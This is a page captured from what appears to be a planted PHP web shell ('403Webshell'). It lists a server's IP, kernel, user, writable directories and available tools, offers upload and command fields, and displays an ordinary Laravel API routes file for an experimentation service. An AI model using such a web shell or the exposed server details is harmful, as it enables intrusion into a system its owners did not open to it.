403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/splitstream/current/routes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/splitstream/current/routes/api.php
<?php

use App\Http\Controllers\Api\ApiKeysController;
use App\Http\Controllers\Api\AssignController;
use App\Http\Controllers\Api\AuditController;
use App\Http\Controllers\Api\EnvironmentsController;
use App\Http\Controllers\Api\EventsController;
use App\Http\Controllers\Api\ExperimentsController;
use App\Http\Controllers\Api\HealthController;
use App\Http\Controllers\Api\MetricsController;
use App\Http\Controllers\Api\MutexGroupsController;
use App\Http\Controllers\Api\ResultsController;
use App\Http\Controllers\Api\SegmentsController;
use App\Http\Controllers\Api\WorkspacesController;
use Illuminate\Support\Facades\Route;

Route::prefix('v1')->group(function () {
    Route::get('healthz', HealthController::class)->name('v1.healthz');

    Route::middleware(['api.key', 'workspace.rate-limit'])->group(function () {
        Route::get('workspaces/current', [WorkspacesController::class, 'current']);

        // Hot endpoints — these run under the Octane (RoadRunner) carve-out
        // via Apache mod_proxy. Client keys are allowed; per-unit + per-IP
        // sub-limits apply per docs/api/rate-limits.md.
        Route::post('assign', [AssignController::class, 'assign']);
        Route::post('assign/batch', [AssignController::class, 'assignBatch']);
        Route::get('assignments/{unit_id}', [AssignController::class, 'forUnit']);
        Route::post('events', [EventsController::class, 'trackEvent']);
        Route::post('events/batch', [EventsController::class, 'trackEventBatch']);
        Route::post('exposures', [EventsController::class, 'logExposure']);

        // Management endpoints — server-key only.
        Route::middleware(['api.key:server'])->group(function () {
            Route::delete('assignments/{experiment}/{unit_id}', [AssignController::class, 'forceRebucket']);

            // Experiments
            Route::get('experiments', [ExperimentsController::class, 'index']);
            Route::post('experiments', [ExperimentsController::class, 'store']);
            Route::get('experiments/{id}', [ExperimentsController::class, 'show']);
            Route::patch('experiments/{id}', [ExperimentsController::class, 'update']);
            Route::delete('experiments/{id}', [ExperimentsController::class, 'destroy']);
            Route::post('experiments/{id}/start', [ExperimentsController::class, 'start']);
            Route::post('experiments/{id}/stop', [ExperimentsController::class, 'stop']);

            // Results
            Route::get('experiments/{id}/results', [ResultsController::class, 'latest']);
            Route::get('experiments/{id}/results/history', [ResultsController::class, 'history']);

            // Metrics
            Route::get('metrics', [MetricsController::class, 'index']);
            Route::post('metrics', [MetricsController::class, 'store']);
            Route::get('metrics/{id}', [MetricsController::class, 'show']);
            Route::patch('metrics/{id}', [MetricsController::class, 'update']);
            Route::delete('metrics/{id}', [MetricsController::class, 'destroy']);

            // Mutex groups
            Route::get('mutex-groups', [MutexGroupsController::class, 'index']);
            Route::post('mutex-groups', [MutexGroupsController::class, 'store']);

            // Environments
            Route::get('environments', [EnvironmentsController::class, 'index']);
            Route::post('environments', [EnvironmentsController::class, 'store']);
            Route::get('environments/{id}', [EnvironmentsController::class, 'show']);
            Route::patch('environments/{id}', [EnvironmentsController::class, 'update']);
            Route::delete('environments/{id}', [EnvironmentsController::class, 'destroy']);

            // Segments
            Route::get('segments', [SegmentsController::class, 'index']);
            Route::post('segments', [SegmentsController::class, 'store']);
            Route::get('segments/{id}', [SegmentsController::class, 'show']);
            Route::patch('segments/{id}', [SegmentsController::class, 'update']);
            Route::delete('segments/{id}', [SegmentsController::class, 'destroy']);

            // API keys
            Route::get('api-keys', [ApiKeysController::class, 'index']);
            Route::post('api-keys', [ApiKeysController::class, 'store']);
            Route::delete('api-keys/{id}', [ApiKeysController::class, 'destroy']);

            // Audit
            Route::get('audit', AuditController::class);
        });
    });
});

Youez - 2016 - github.com/yon3zu
LinuXploit